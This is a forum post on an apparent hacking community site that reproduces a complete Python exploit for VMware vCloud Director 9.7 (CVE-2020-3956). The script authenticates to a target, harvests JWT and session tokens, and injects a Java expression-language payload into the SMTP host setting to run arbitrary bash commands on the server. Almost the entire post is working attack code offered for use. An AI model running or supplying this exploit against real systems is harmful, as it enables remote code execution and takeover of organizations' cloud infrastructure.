Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

vCloud Director 9.7.0.15498291 - Remote Code Execution

 Share


Ken1Ve

Recommended Posts

#!/usr/bin/python
# Exploit Title: vCloud Director - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description: 
#   VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.

import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()

def login(url, username, password, verbose):
	target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
	res = session.get(target_url)
	match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
	if match:
		tenant = match.group(1)
	else:
		print('[!] can\'t find tenant identifier')
		return (None,None,None,None)

	if verbose:
		print('[*] tenant: %s'%(tenant))

	match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
	if match:																			# Cloud Director 9.*
		login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
		res = session.post(login_url, data={'username':username,'password':password})
		if res.status_code == 401:
			print('[!] invalid credentials')
			return (None,None,None,None)
	else:																				# Cloud Director 10.*
		match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
		if match:
			login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
			headers = {
				'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
				'Accept': 'application/json;version=29.0',
				'Content-type': 'application/json;version=29.0'
			}
			res = session.post(login_url, headers=headers)
			if res.status_code == 401:
				print('[!] invalid credentials')
				return (None,None,None,None)
		else:
			print('[!] url for login form was not found')
			return (None,None,None,None)

	cookies = session.cookies.get_dict()
	jwt = cookies['vcloud_jwt']
	session_id = cookies['vcloud_session_id']

	if verbose:
		print('[*] jwt token: %s'%(jwt))
		print('[*] session_id: %s'%(session_id))

	res = session.get(target_url)
	match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
	if match is None:
		print('[!] organization not found')
		return (None,None,None,None)
	organization = match.group(1)
	if verbose:
		print('[*] organization name: %s'%(organization))

	match = re.search(r'orgId : \'([^\']+)', res.content)
	if match is None:
		print('[!] orgId not found')
		return (None,None,None,None)
	org_id = match.group(1)
	if verbose:
		print('[*] organization identifier: %s'%(org_id))

	return (jwt,session_id,organization,org_id)


def exploit(url, username, password, command, verbose):
	(jwt,session_id,organization,org_id) = login(url, username, password, verbose)
	if jwt is None:
		return

	headers = {
		'Accept': 'application/*+xml;version=29.0',
		'Authorization': 'Bearer %s'%jwt,
		'x-vcloud-authorization': session_id
	}
	admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
	res = session.get(admin_url, headers=headers)
	match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
	if match:
		version = match.group(1)
		if verbose:
			print('[*] detected version of Cloud Director: %s'%(version))
	else:
		version = None
		print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')

	email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)

	payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
	data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
	data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
	data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
	data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
	data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
	res = session.put(email_settings_url, data=data, headers=headers)
	match = re.search(r'value:\s*\[([^\]]+)\]', res.content)

	if verbose:
		print('')
	try:
		print(base64.b64decode(match.group(1)))
	except Exception:
		print(res.content)


parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()

url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...